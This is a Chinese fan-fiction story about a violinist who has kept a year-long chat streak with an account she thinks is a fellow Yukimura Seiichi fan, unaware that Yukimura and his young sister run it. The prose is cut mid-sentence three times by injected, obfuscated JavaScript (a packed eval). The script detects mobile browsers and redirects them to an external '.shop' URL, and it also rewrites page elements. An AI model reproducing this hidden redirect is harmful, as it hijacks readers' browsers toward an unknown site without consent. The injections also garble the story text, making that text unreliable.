《有啥必看的幸村神图吗》 1. 续火花的习惯 下午三点半,放学了。 四野松雪拎着琴盒,准备去能看见网球场的地方练琴,走出教室后,她拿出手机,下意识打开了小蓝书。 扫了两眼,松雪失望地息屏,又把手机放回校服上衣的口袋中。 没有回复…… 四点半。 网球部那边的部员还在跑圈,真是厉害,他们已经跑了一个小时,竟然还没停下。 四野松雪用左手拇指,挨个揉搓左手的食指、中指、无名指、小指。 练琴的时候,手指都很痛,因为过度揉弦,手指上还有铅和松香的味道。 午后炙烈的阳光穿过头顶茂密的榕树树叶,细碎的光斑打在脸上,草坪上铺着她的校服外套。 四野松雪有些热,所以就把外套脱了。 她目光瞥了一眼外套口袋的方向,挣扎片刻,叹了口气,还是认命地放下小提琴,坐在地上,拿出了她的手机,打开小蓝书。 ——为什么还是没有回复。 她苦恼地托着下巴,盯着好友列表置顶的对话框。 “她”的头像是幸村精市的背影,名称叫做“黑银河”。顺带一提,黑银河是鸢尾花的一种,很像幸村桑的发色,这个姐妹和她一样,是铁血幸村单推人。 和黑银河的对话框后面,挂着象征连续多日聊天的火花,此刻却有些蔫吧,数字还停留在364天。 今天是第365天,整整一年了,这么有意义的日子,为什么“她”还不上线回复消息呢。 同担!今天不续火花了吗! 四野松雪很着急。 她打开了对话框,两人聊天内容非常非常简单,基本上就是松雪向“黑银河”转发一条帖子,对方只是用系统自带的表情回复她—— 4月14日: YUKI:[转发]救命,这两张幸村太好看了! 黑银河:(emoji-点赞)绝了 4月13日: YUKI:[转发]想知道关于幸村的冷知识~ 黑银河:(emoji-喝茶)已阅 4月12日: YUKI:[转发]每天认识一个帅哥之立海大附中网球部——幸村精市? 黑银河:(emoji-惊讶)尊嘟假嘟 …… 同担虽然比较沉默寡言,但是主打一个句句有回应,四野松雪坚持不懈地给“她”发消息,迄今为止,两人已经你来我往364天。 但是,今天已经下午16:32了,怎么还不上线续火花呢? 难不成是出什么事了吗,同担? 四野松雪担忧地想。 4月15日: YUKI:[转发]请选出你心中的NO.1立海大网球部部员! YUKI:姐妹在吗 YUKI:给幸村桑投票啊啊啊 YUKI:幸村桑要被真田弦一郎那个家伙超过了! 对话停在这里,孤零零地挂着,至今没有回复。 四野松雪悲伤地再次息屏,然后看向了网球场的方向。 网球部的部员终于停止跑步,这么热的天还能坚持跑一个小时训练体能,体育社团的家伙们真的好厉害。 紧接着,是正选队员出来,其实松雪离得很远,看不清现在到底是谁在场地上。 但之所以她知道正选出来了,是因为许多人一拥而上,围住了网球部场地的护栏,一下子挡住了她的视线。 远远地,松雪踮起脚,目光穿过在人群,试图寻找鸢尾色的发顶。 啊,找到了。 松雪拿起手机,手忙脚乱地切换到拍照的界面,然后飞快地按下快门。 拍到了! 松雪兴奋。 她下意识打开小蓝书,发给沉寂了一整天的同担—— 4月15日: YUKI:啊啊啊姐妹,我拍到了幸村桑,快看 YUKI:[图片] 发过去之后,她才想起来再打开看一眼,结果这一看,才发现自己拍的特别特别模糊,基本上糊得只剩色块了。 松雪沉默,片刻后,握了握拳。 没关系,只要在这次关东大赛拿了金奖,奖金足够买一个像素更好的手机。 所以要加油练琴啊!四野松雪首席! 知道幸村精市此刻离她并不远,并且也在为了网球努力着,松雪觉得练琴都更有动力了。 她再度拿起小提琴放在肩上,把谱架上的曲谱重新翻回第一页。 曲谱的每一页都有她做的笔记,什么时候该顿弓、某处是手腕揉弦还是手臂揉弦更合适——她都用紫色的荧光笔写得很清楚。 因为知道幸村也是个认真的人,四野松雪想到关于他的一切,也会不由自主地认真起来。 …… 在网球场上,幸村刚拿起球拍,终于想起来今天有什么事情没做了。 小蓝书,那个YUKI…… 幸村微不可查地皱眉,随后想了想,还是对旁边的柳莲二说道:“你们先开始,我一分钟后过来。” 一分钟么……? 柳莲二平静地点头,目送部长往更衣室走。 真田过来:“怎么了,莲二,嗯?幸村去更衣室做什么?” 柳莲二:“谁知道呢,说是等一分钟,让我们先开始。” 一分钟是个很暧昧的时间,它本身不会影响什么,但在部活训练之中插队,又显得些许格格不入。 幸村说是稍等一分钟,其实根本用不了一分钟。 他快速地打开了手机,一气呵成地点开小蓝书、YUKI的聊天框—— 正常来说,这里会有一个默认的emoji回复,他只需要戳一下就可以了,但是今天没有,因为转发消息的默认回复,被YUKI后续发来的消息盖住了。 4月15日: YUKI:[转发]请选出你心中的NO.1立海大网球部部员! YUKI:姐妹在吗 YUKI:给幸村桑投票啊啊啊 YUKI:幸村桑要被真田弦一郎那个家伙超过了! YUKI:啊啊啊姐妹,我拍到了幸村桑 YUKI:[图片] YUKI发了两段消息,幸村挑眉,先点开了那张图片,虽然非常非常糊,但是他的确看见了自己的头发和发带,发送时间是两分钟前……难道YUKI也是立海大附中的学生? 还有这个投票。 幸村飞快扫了一眼投票,真田和自己的票数接近,现在自己稍高几票。 幸村挑眉,投出了自己庄严的一票——给真田弦一郎。 全部完毕,他回到聊天框,引用了她的转发,回复消息,跟YUKI续上了今天的火花。 4月15日: 黑银河:11 “引用消息:[转发]请选出你心中的NO.1立海大网球部部员!” 幸村回复之后,蔫吧的小火苗再次挑旺,数字也安全地来到了365天。 他利落地将手机息屏放回原处,返回球场,时间没有超过一分钟。 可是一离开休息室,幸村就看见柳莲二和真田盯着自己。 幸村温柔地笑了笑:“怎么,我不在就不会训练么?” 两人脊背爬上一丝凉意,马上收回了目光。 柳莲二本来想多问一句,可这时候再开口,就是送上门被部长训诫,于是他闭上了嘴,把呼之欲出的疑惑咽了回去。 对于幸村而言,YUKI本人并不重要,重要的是,她家妹妹很在乎这个叫做YUKI的小蓝书网友。 这件事发生在一年前。 刚进入立海大附中的幸村,作为一年级就成为正选的唯二之人,如果当时说没有压力,是不现实的。 幸村对自己的实力虽然有信心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17496730|202548||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,但是他明白,仅仅是有信心是不够的。 球场之外的努力与付出,是他不负于“一年级正选”的唯一底气。 那天,是刚结束的关东大赛的预选赛。他作为第一个出场的单打选手,拿下了6-1的成绩。 他听见了许多赞誉之声,但是对于丢失的那一局,幸村却耿耿于怀。等到比赛结束,坐巴车回到学校后,他独自复盘了那一把比赛,当时应该是接近凌晨两点钟了。 晚上的学校有点渗人,但是少年握着网球拍时,就觉得也没什么值得害怕,他在校园中漫步时,听见手机传来两声消息提醒。 第一个提醒,是来自line,妈妈发来的消息—— 妈妈:【哥哥,什么时候回来呀?】 好吧,是妹妹在用妈妈的账号。 幸村回复:【我很快就到家了,怎么还没睡?】 第二个提醒,是来自小蓝书。 幸村有些困惑。 他什么时候在手机里下载了这个软件,他记得这个软件在女生中很出名来着。 小蓝书的提醒是:您关注的#幸村精市#词条已经有新的内容发布啦,快来看看吧~ 幸村:…… 这到底是谁—— 【嘻嘻,哥哥,你快回来呀,我想玩你的手机啦~】 【拜托拜托,哥哥,给我玩一会吧~】 Line消息随之而至,立刻解答了幸村的疑惑。 所以,大概率是他妹妹下载的软件,也是他妹妹关注的#幸村精市#词条。 他有些无奈,但是妹妹很可爱,所以并不打算苛责。 幸村原打算划掉小蓝书的提醒,但是一不小心点了进去,看见了#幸村精市#这个词条下发布的新内容。 [有啥必看的幸村神图吗?] 作为一个刚刚在关东大赛的赛场上完成第一场比赛的新人选手,又是立海大附中网球部唯二的一年级正选,再加上这是他刚刚升入国中之时,周围的一切都是新环境。 许多名号和压力在他的头上,还有当前情境下的最后一根稻草:就是他复盘比赛到凌晨两点,时间已经太久了,花费了过多的精力。 总之,幸村看错了。 ——特意跑到我的词条下面骂我? 月光下,幸村听见耳朵嗡鸣声,像是被冷冷的月光兜头浇下一盆水。 他以为自己的第一场比赛没有拿下6-0,所以引起了别人的质疑,质疑他并没有这个实力,以一年级的身份担任立海大附中网球部的正选。 幸村有些不知道自己在做什么,总之等他反应过来之后,才发现他已经在这个帖子下面回了消息。 黑银河:? 黑银河是妹妹喜欢的花,她说这朵花的颜色很像哥哥的头发。 幸村眨眨眼,回过了神,但又在恍惚中听见了某种齿轮转动的声音。 他失笑。 自己还是不够强大啊。 长按后,幸村删除了这条评论,但是这个帖子的发布者像蹲在屏幕的另一头,时刻准备着,哪怕幸村已经删掉了评论,但帖子的发布者还是飞快地关注了他的账号,并且热情地打了招呼。 4月16日: YUKI:姐妹!!! YUKI:是同担吗姐妹,555我从下午刷幸村桑的视频到现在,他打球的时候真的太帅了!!! YUKI:啊啊啊,你是新注册的账号!我也是! YUKI:你只关注了幸村桑的词条哎,果然是同担!对不对! 噼里啪啦的消息飞到他的手机里。 因为一局比赛的失利,而被他隔绝在外的那些褒奖,此刻顺着这几条消息,如有实质,飞到了幸村精市的眼前,让他避无可避。 YUKI又发来了一条消息。 YUKI:推幸村精市!做幸福女人! YUKI:(emoji-哈哈哈) 2. 周六的小组赛 幸村对YUKI的感情很复杂。 当时,他本人并没有回复她,但是回家之后,妹妹却抱着幸村的手机和YUKI彻夜聊天。 这件事带来的直接后果是两个。 其一,妈妈发现了妹妹通宵玩手机的事情,从此禁止妹妹玩手机。 其二,妹妹很舍不得YUKI,眼泪汪汪地抱着哥哥的大腿,拜托哥哥和YUKI好好相处。这样等到妈妈消气,允许她玩手机之后,妹妹就能和YUKI再续前缘了。 幸村不知道年幼的妹妹从哪里学到“再续前缘”这个词,但因为妹妹的拜托,他的日常训练中增加了一件事,就是回复YUKI的消息。 幸村很冷漠,但YUKI很热情。 她每天都会在小蓝书上搜罗一些与幸村有关的帖子,然后发给“黑银河”,帖子和网球相关的不多,大部分都是在夸幸村有多帅。 幸村有一搭没一搭地回复着,只用系统自带的表情,勉强算是“打好关系”,实则希望YUKI那边可以因为他的冷漠主动疏离,这样就不算他辜负了妹妹的嘱托。 可惜YUKI毫无激情冷却的趋势,反倒越发殷勤。 幸村:…… 但是在网球比赛上,在那之后,幸村的路顺利得惊人,甚至到了一个地步,他被称为“神之子”。 作为正选,幸村为立海大附中的网球部赢下了无比辉煌的荣誉,从关东大赛的预选赛、小组赛、关东大赛的金奖,一直到手捧全国大赛的奖杯。 幸村精市早已不会再因质疑声而动摇。 那夜,被月亮兜头浇下的冷水,像是在平行世界才会发生的事情。 但是从那个夜里走出来的少年,此后每一步都意气风发,万众瞩目。 …… 四野松雪的个人练琴时间结束了,正选们的训练似乎才刚刚开始。 她看了一眼网球场的方向,那边的呐喊声震天响—— “立海大!立海大!” 如果不是她也必须要去跟练,此刻恐怕也融在那震天呼声之中。 但现在已经五点半了,部活定在五点四十要进行合奏训练,现在,松雪得收拾东西回去了。 松雪穿上外套,左手拿着谱架和琴谱,右手提着琴,往五楼跑去。 与嘹亮的应援声背道相驰。 练琴的时候,她把手机调成了静音,所以一直到晚上七点她背着琴回家的路上,才发现同担已经回她消息了。 河堤路上,天色已经暗下来,不算明亮的路灯晕染着光晕,勉强可以照亮前面一段路。 YUKI:啊,我以为你出了什么事情了呢? YUKI:今天居然这么久没回消息,我担心了很久。 松雪低头回着消息,没注意到迎面走来的是网球部的正选们。 他们也刚结束部活,这会儿打算一起去吃关东煮。 为首的是幸村精市,他也同样低头,看着小蓝书上YUKI发来的消息。 幸村想了想,对方毕竟是关心他,如果对此不予回复,似乎不太礼貌。 所以,在续火花一周年这天,“黑银河”总算不再像人机一样只回复系统自带表情,而是输入文字发过去。 黑银河:今天的事情确实有点多,谢谢关心。 对面的YUKI马上回复。 YUKI:你真客气呀,我以为我们已经是好姐妹了呢! YUKI:今天可是个大日子,今天是幸村第一次代表立海大比赛的周年纪念日哦! 才一周年吗? 幸村修长的右手小指托着手机下方,拇指无意识地摩挲了一下屏幕边缘,原本变暗的屏幕因此再次亮起,正好YUKI的消息也在这时发来。 YUKI:也是我认识幸村君的一周年纪念日呀~ 这句话像是直接对着屏幕这头的幸村说的。 幸村觉得很有趣,YUKI根本想不到吧,和她聊天的竟然是幸村精市本人。 河堤上,正对面背着网球拍的少年们,和同样背着小提琴的形单影只的长发少女相向而行。 但是两人都在低头看着手机,小蓝书的蓝色底光同样打在两人的脸上,然后擦肩而过,谁也没有发现谁。 幸村看着YUKI发来的新消息。 YUKI:这么重要的日子,必须要在投票上压过真田! 幸村瞥了一眼走在自己身边冷着脸的同伴,无声地笑弯了嘴角。 黑银河:嗯,我已投票。 YUKI:靠谱姐妹! 也没那么靠谱,因为幸村是投给了真田弦一郎。 幸村收起了手机。 网球部的正选们走出了一段距离,最后面的丸井文太脚步慢下来,回头看了一眼背着琴的少女。 “怎么?”桑原顺着他的目光也看过去,首先发现的是四野松雪背后的小提琴琴盒。 “女子网球部的?”桑原一顿,“啊,不对,网球拍好像没那么小。” 丸井文太无语:“那明明是小提琴啦,小!提!琴!而且她很有名哦——” 桑原对此没兴趣:“哦哦哦。” “哦你个头,”丸井吐槽了搭档,可又接着解释,“不过我一开始注意到她,也是因为背着的小提琴很像球拍……对了,那个人是四野松雪,我们学校二年七班的,还是交响乐社团的首席,是个有名的高冷美人,虽然很厉害,但是没什么朋友。” 闻言,桑原挑眉:“文太,你还会鉴赏交响乐了?” 丸井听出他的揶揄,抬手就要揍他,但是被桑原躲开了。 他可不敢说自己会鉴赏交响乐,挠了挠头道:“怎么说呢,我去旁听过交响乐社团的演出,小提琴太突出了,你听了就明白我说的意思了。” 毕竟是体育社团的,真要是能对交响乐进行一番细致点评那才见鬼了。 但是文太这么认真地夸赞别人也并不常见,尤其还是在完全不熟悉的领域,原本没什么兴趣的桑原,也多多少少燃起了好奇心:“你这么说倒是稀奇,下次我有机会去听一下。” 走在前面的人没在意他们的聊天,尤其是柳莲二。 他一边走,一边认真地看着近一周的训练记录,柳觉得有些不对劲。 部长他,似乎在变慢? 他看了眼走在最前面的幸村,鸢尾色的头发在脑后十分服帖,不打网球的时候,完全看不出部长是体育社团的人,但他可是立海大鼎鼎有名的“神之子”,是多少人的梦魇。 柳莲二收回视线,喃喃自语:“或许是错觉吧……” 毕竟幸村其实没有明显变慢,记录上显示,部长的动作只是零点几秒的变化,或许是正常浮动呢。 幸村刚好听见了柳的这句话,转头问:“什么错觉?” 柳收起了本子:“没事。” …… 幸村到家,在玄关放下球包:“我回来——” 话音未落,就被奔跑声打断了。 “哥哥!!” 幸村宁梦朝玄关跑来,人还没到,胳膊就伸得长长的:“哥哥抱!!” 幸村飞快地接住她,轻松就将妹妹举高高,宁梦笑嘻嘻地圈住哥哥的脖子,然后丝滑地凑近哥哥的耳朵边上小声道:“妈妈今天允许我玩手机一小会儿哦!等等我要去哥哥的房间,看看YUKI给你发了什么。” 幸村:“……” 他默默把妹妹放下了。 还以为宁梦真的是一天没见到他所以才这么热情,原来还是想玩手机了。 “你回来啦,精市。”妈妈的声音从客厅传出来。 幸村走过去,看见爸爸在洗碗,妈妈则是刚放下电话,神色中还有几分担忧。 和父母问过好,幸村就追问:“是出了什么事情吗?” 正在洗碗的爸爸回答:“是啊,妈妈老家有个亲戚的孩子,好端端地突然查出来了有个很严重的病,和你差不多大的孩子,现在要休 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17496731|202548||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 学接受治疗呢。” 妈妈担忧地看着他:“要不,精市也去做个体检吧,运动毕竟还是比较伤身体的,检查出来没事也可以安心。” 幸村当然不会辜负父母的好意,笑着应下:“好,妈妈你也别太担心了。” 而且,幸村虽然觉得自己没什么大碍,但是检查身体的确也有必要性,不仅如此,他还多考虑了一步,可以趁这个机会让部员们都做一下.体检。 幸村洗过澡回房后,就看见妹妹趴在他的床边,已经在对着手机咯咯笑了。 他无奈地走过去,揉了揉宁梦的头发:“今天在小班有乖乖上课吗?” 宁梦肉肉的小手还在一个个戳开YUKI发来的消息进行品鉴,听到哥哥的问题才小声回答:“其实我今天被老师训了,哥哥你千万不要告诉妈妈呀。” 幸村不会告密,但他还是忍不住追问:“为什么会被老师训?” “老师说,”宁梦叉腰,粗声粗气地模仿着老师的语气,“宁梦酱!不要把球丢到直树酱的头上!” 宁梦摊手:“就是这样。” 幸村觉得妹妹可爱,忍俊不禁地笑了。 可能是觉得哥哥心情很好,所以宁梦把手机递给了哥哥:“哥哥,帮我回复YUKI吧?我打字太慢了,会影响和她聊天呢!” 宁梦警惕地回头看了一眼:“毕竟妈妈说我今天只可以玩半个小时,时间很宝贵。” 看着小朋友说时间宝贵,这种经历还是挺奇妙的。 幸村拿起手机,对妹妹十分宠爱:“好,你想对她说什么呢?” “宁梦要想想呀……” 在宁梦考虑的过程中,真田的消息倒是先发了过来。 真田:今年关东大赛的比赛日程安排出来了。 幸村:好,我看下。 真田发来了拍摄的照片,幸村飞快地扫了一眼,着重看了眼什么时候会对上冰帝。冰帝势头强劲,部长还是个浮夸的孔雀型人格,有点棘手。 真田:我们这周末就有小组预选赛。 真田:明天早上训练时,可以和莲二商量一下,安排谁上场比较合适。 幸村:嗯,明天见。 幸村这边刚和真田说了再见,YUKI的消息也发了过来。 YUKI:[转发]关东大赛日程表已出!有你准备打卡的比赛吗~ YUKI:嗯!?这周末竟然就有立海大的比赛耶! 宁梦刚好看见了YUKI发来的消息,兴奋道:“哥哥你快回复YUKI!” 松雪也刚刚洗过澡,这会儿坐在床边的地毯上吹头发。 旁边的书架上放着三把小提琴的琴盒,琴弓和松香在下面放了一整排,提琴柜里也单独放了一把小提琴。 一楼琴房里传来妈妈弹琴的声音,爸爸出国去表演了,最近几个月都不在家。 松雪家里算得上是音乐世家,所以从一开始,体育社团就是和她毫无瓜葛的东西。 但是自从她下载了小蓝书之后,三步之内必有网球,她才发现网球居然这么火。 有一段时间,松雪都怀疑是不是全世界都在关注各类网球比赛—— “这对吗?”松雪在没有喜欢上幸村之前,还会无语问苍天,“这个世界全员都是网球脑吗?” 但现在由于幸村精市的原因,松雪也成了一名荣幸的网球脑。 手机响起,是有人给她发消息,松雪看了一眼。 黑银河:你周六会去看比赛吗? 松雪看着手机自言自语:“今天黑银河姐妹好像心情不错,不发系统自带的表情,果然就没那么人机了。” 她看了一眼自己周六的安排,这才回复了那边。 YUKI:立海大的比赛是周六下午三点开始,刚好我两点钟上完课。 YUKI:如果来得及的话,或许正好能赶上立海大最后一位单打选手的比赛。 YUKI:会是幸村吗~好期待呀~ 3. 第一次的对视 一眨眼就到了周六。 天还没亮,松雪就背着琴乘上了去东京的车,如果上的是老师的第一堂课,或许就能乘中午的新干线回到神奈川。 这是松雪想到唯一一种赶上立海大小组赛的行程安排了。 在车上,松雪总算有空吃了口饭团,勉强算是午饭了。 一口咬下去,妈妈准备的饭团里竟然还藏了一个乌梅,乌梅在舌尖化开有点酸,她搂着琴盒,整个人都被酸得抖了抖,下意识拿出手机,拍了一张暗算自己的乌梅,然后—— 啊,发给谁呢? 松雪没有朋友,从小到大都强度拉满的小提琴学习日程,让松雪并没有足够的时间去交朋友。 她想到了只会发系统自带表情的人机同担,于是点开了小蓝书,把拍下来的饭团发给了“她”。 YUKI:好酸>_ YUKI:[图片] 松雪看着这两条消息,在一堆幸村相关的内容中,突然插入了自己的日常,感觉有些奇怪。 她还没试过和谁分享日常呢,松雪有些害羞。 ——为了紧急转移同担的注意力,松雪很快问起了别的事情。 YUKI:你到现场了吗?人多吗?要检票吗?走哪条路比较近? 黑银河的头像右下角有个小绿点,代表“她”现在正在线。 过了一会儿,还亮起了“对方正在输入中”的标识。 松雪对此感到稀奇,她还是第一次看见这个标识,有种即时聊天的感觉,但过去的一年中,她和人机同担一直是错位聊天状态。 非要说的话,有点像松雪在网络上搜集素材,然后向同担呈上奏折,随后,人机同担会对她的奏折予以批复。 ——话说回来,同担打字速度好慢啊,她的饭团都快吃完了,怎么还在“输入中”? 屏幕另一头。 幸村宁梦用小肉手打字,好不容易打对了,已经满脑门的汗,才终于急头白脸地按下发送键。 嗡嗡。 是松雪收到了消息。 黑银河:饭团 黑银河:看上去 黑银河:很好次 黑银河:池 黑银河:吃 松雪眨眨眼,是打错字了,在慢慢纠正? 松雪想着怎么回复她。 但是在屏幕这头的幸村宁梦小朋友放弃了打字,可恶,没有哥哥,她连和YUKI顺场地聊天都做不到呢! 为了向YUKI表示诚意,她只好使出杀手锏了—— 宁梦划拉屏幕,离开了小蓝书的界面,点开了拍照模式,然后举起小肉手,对准了正在和队员交流的幸村精市。 手机有点重,宁梦稳不住,偏偏哥哥还准备走了。 宁梦急了,大喊一声:“哥哥!看这里!” 幸村听到妹妹的声音,就回头看了一眼。 宁梦附近的球迷朋友们登时“哇”声一片。 正是现在! 宁梦成功拍到了幸村精市的照片——角度,完美!哥哥看镜头了,完美!而且竟然一点都不糊!超级完美! 宁梦大王天下无敌! 她兴冲冲地回到小蓝书,把照片发给了YUKI看。 松雪还在打字呢,猝不及防就看见一张幸村的单人直拍怼到脸上,鸢尾色的瞳孔直直地望着她,眉眼神情都是宠溺,嘴角似笑非笑。 松雪嘎巴一下就倒下了。 而且!幸村穿的是立海大的队服!今天竟然真的是幸村上场!太棒了! 不枉她起了个大早,就为了今天下午能赶上比赛。 YUKI:姐妹!!!! YUKI:神图啊!!!! YUKI:我是学生给我亲一口求你了,我是学生给我亲一口求你了,我是学生给我亲一口求你了,我是学生给我亲一口求你了。 宁梦默默在脑海中记下文案,打算回去对最喜欢的幼儿园老师说这句话。 松雪盯着时间,差不多下了车之后一路狂奔,正好能赶上准备出发的始发站公交,这样,可以在30分钟内到球场。 收好了装饭团的垃圾袋,背好了琴盒,松雪整理了一下额前的刘海。 新干线的门开了。 背着提琴的长发少女开始一路狂奔,长发、裙摆和衣襟都在翻飞,她在为喜欢了一年的网球选手奔赴这场单方面的约会。 盛夏的光穿过榕树叶的缝隙,随着她的脚步,如同星星落在她身上。 …… 幸村今天的确要上场。 对手是神奈川中学,正常情况下,幸村是不会在小组赛出手的,但是不知什么缘故,他们家的军师柳莲二认为部长的数据需要更新,特意要求让幸村作为S3出战。 S3,是否有些过于大材小用了? 但幸村对此倒是无所谓,柳如果给他排到S1,恐怕都不会有出场的机会,柳既然要更新他的数据,当然要给他排到前面去。 而且,宁梦今天过来看比赛,妹妹也希望他上场,他早一点打完,妹妹就可以早点回去休息。 除此之外,还有一个原因。 去年的这时候,他也是作为立海大的S3出任单打,但比分是6-1,今年他想以新的比分,覆盖去年的记忆。 球拍在幸村的手上灵活地转了转,重量、握力、摩擦度,各方面都是他熟悉的手感,一切都恰到好处。 裁判一声令下,S3的比赛开始了。 球场周围,站着不少熟悉的人,幸村定睛看了看,发现是冰帝和青学的人过来了。 真是赏脸,竟然特意跑到神奈川来吗。 应该是看见了立海大附中向组会上报的出场名单,想来探探他的底。 远远地,还有个背着琴盒的女生在视野中停下来。 她弯下腰喘着粗气,长发从背上滑到前面,最后才站直了身体,朝这边看过来—— 幸村却在同时收回目光,接过了从旁边扔来的小球。 裁判吹了声哨子—— “比赛开始!” 赶到球场后,松雪一眼就知道哪里是立海大的比赛场地,明显有一片球场的观众多得不正常,堪称人山人海。 松雪拿出手帕,擦掉了额头上的汗,迈开步子朝那片球场走去。 裁判的声音传来时,松雪还没找到一个合适的位置观赛,人太多了。 击球声从球场内传来。 “15-LOVE!” 裁判报分,旗子举在了立海大这一边。 松雪诧异,这么快就得分了吗?可恶,她还什么都没看见呢。 松雪跳起来看了一眼,瞥见幸村精市抬手抛球,专注的视线落在球上的一瞬间,但她落地之后,再怎么垫脚也看不见了。 可恶,到底哪里能看见呀。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17496732|202548||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“30-LOVE!” 裁判再次报分,代表胜利的旗子也照样举在了立海大这边。 松雪终于找到了一个看上去稍微矮一点的人墙。 别的地方都是四五层人,只有这里是三层,垫个脚还是能看见场内情况的。 下一球再度开球,幸村换到左区进行发球。 “40-LOVE!” 再有一球就赢了。 而松雪的前面,正好有个人要接电话,不得不举起手机离开喧嚷的人群,他一离开,竟然正好给松雪开了一条通往最前排的路,松雪终于看见了这场比赛。 仍然是幸村的发球。 幸村站在左区底线,指尖捻着那颗明黄色的小球,轻轻在地上弹了两下。 球停在他掌心的一瞬,整个场边的喧嚷声莫名低了下去,像是所有人都本能地屏住了呼吸。 他抛球。 动作极干净,没有一丝多余,球从指尖脱出,旋转着升到最高点,在午后的光线里几乎融成一团模糊的金影。 幸村的身体随之微微后仰,像一张被缓缓拉开的弓,脊背的线条流畅而舒展。 然后挥拍。 拍面击中球的那一刻,声音响亮极了,那颗球从拍弦上弹射出去的瞬间,轨迹诡异地压低、再压低,贴着网带上方不过几厘米的位置劈过去,像一道被压缩到极限的光。 对面的选手瞳孔骤缩。 他相信自己确实看见了球的来路。 但他的脚钉在原地,根本来不及反应。 球砸在他右侧边线内侧不到三厘米的位置,弹起时带着一股不讲道理的侧旋,几乎是横着飞出了场外,完全没有给他挥拍的空间。 等他终于转过头去追那颗球的轨迹时,球已经在围栏上弹了两下,缓缓滚回他的脚边。 他甚至没有移动过一步。 这一局的四球都是如此,幸村都是发球得分。 这家伙,基本功硬得能凿穿地球。 球场安静了一瞬,紧接着,裁判才宣告。 “Game 幸村!立海大1-0神奈川!” 松雪双眼圆睁,盯着球场中央鸢尾色头发的少年。 一阵风来,绕着他的衣摆和袖口打了个转,将那头柔软的鸢尾色发丝轻轻拂起。 他站在那片风中,神情淡淡的,既没有笑,也没有任何得意之色,仿佛刚才那记发球不过是随手抛出的一粒石子,落地成局。 幸村仿佛感觉到了什么,抬头往这个方向看过来。 松雪的手落在球场外围绿色网上。 她、她竟然在与幸村对视。 松雪不自觉地心脏狂跳,脸上、颈项、耳后,统统连成绯红一片。 她竟然与幸村对视了! 球场上的故事还在继续,神奈川的单打选手去找了裁判,直接放弃了这一局。 于是幸村将目光从球场外面那个长发女孩身上收回来,收拾了自己的球拍,准备离场。 …… 四野松雪挺喜欢网球这项运动的,但是很可惜,她恐怕此生都无法去尝试这项运动。 作为首席小提琴手,她的手很珍贵,只能落在琴弓与琴弦之上。 因为,球类运动太容易让手受伤了…… 但是看着幸村精市打球的时候,松雪就会忍不住去想象,如果可以将手落在球拍和网球上,那会是什么感觉。 4. 加了联系方式 现场看过幸村打比赛之后,四野松雪对网球的兴趣达到了顶点。 就连这几天和同担的聊天话题,也逐渐从幸村本人转向了那颗黄色小球上。 YUKI:姐妹,我还在复盘幸村以前的比赛 YUKI:之前没机会现场看,但自从亲眼看了比赛,我才发现网球好像还挺好玩的! YUKI:我真糊涂啊,以前光顾着看帅哥了,都没注意到这个小球 YUKI:ToT/~~ 可能是最近同担没那么人机了,所以松雪在给“她”发消息这件事情上越来越自然。 同样,可能是因为YUKI没有再一味吹捧自己的高P照片,所以幸村也看YUKI顺眼多了。 午休时,他在能看见网球场的教学楼后面榕树下休息,收到YUKI的消息后,就回复了一句。 黑银河:你可以去附近的球场试试,或者你们学校有没有网球部?一般来说,每年都有新手体验课的。 这时,四野松雪背着琴,从食堂出来。 今天早上妈妈睡过了头,没来得及给她准备午饭,所以只能去食堂用餐,这会儿刚吃完饭从食堂出来,她打算去自己练琴的老地方午休。 同担的建议很有用,但可惜对于松雪而言,症结并不在此处。 YUKI:哎,球类运动比较容易弄伤手,我应该没法尝试 YUKI:以前和妈妈提过,但被严肃禁止了…… YUKI:QAQ 幸村把校服外套铺在草坪上,躺在上面,榕树没能完全挡住日头,这样还是有些晃眼,他对这里有些不习惯。 没办法,平常他会去部活室休息片刻,顺带还能做会儿训练,但上周比赛过后,军师柳莲二却一脸高深莫测地认为幸村应当适当休息。 幸村问原因,柳只说还不确定,让他先休息一段时间试试,幸村想了想,听从了他的建议。 这棵榕树树叶茂密,附近的草坪也松软,正好有一片可以安静躺下来的荫凉处。 再加上,这个教学楼是旧楼,平常就不会有人来,大多数学生都去天台和教室午休,所以附近人迹罕至,甚至正好能够看见网球场,幸村对这个午休地点很满意,所以选择了这里。 他躺在地上,看着YUKI发来的消息挑了挑眉,不明白什么情况下会考虑到“弄伤手“的问题。 幸村决定直接问,和网球有关,他总是会多几分耐心。 黑银河:虽然运动总是会不可避免地受伤,不过为什么格外在意弄伤手呢? 四野松雪绕过教学楼,她刚穿过走廊,再顺着回廊往前走的话,就可以到旧教学楼后面,她经常在那里午休。 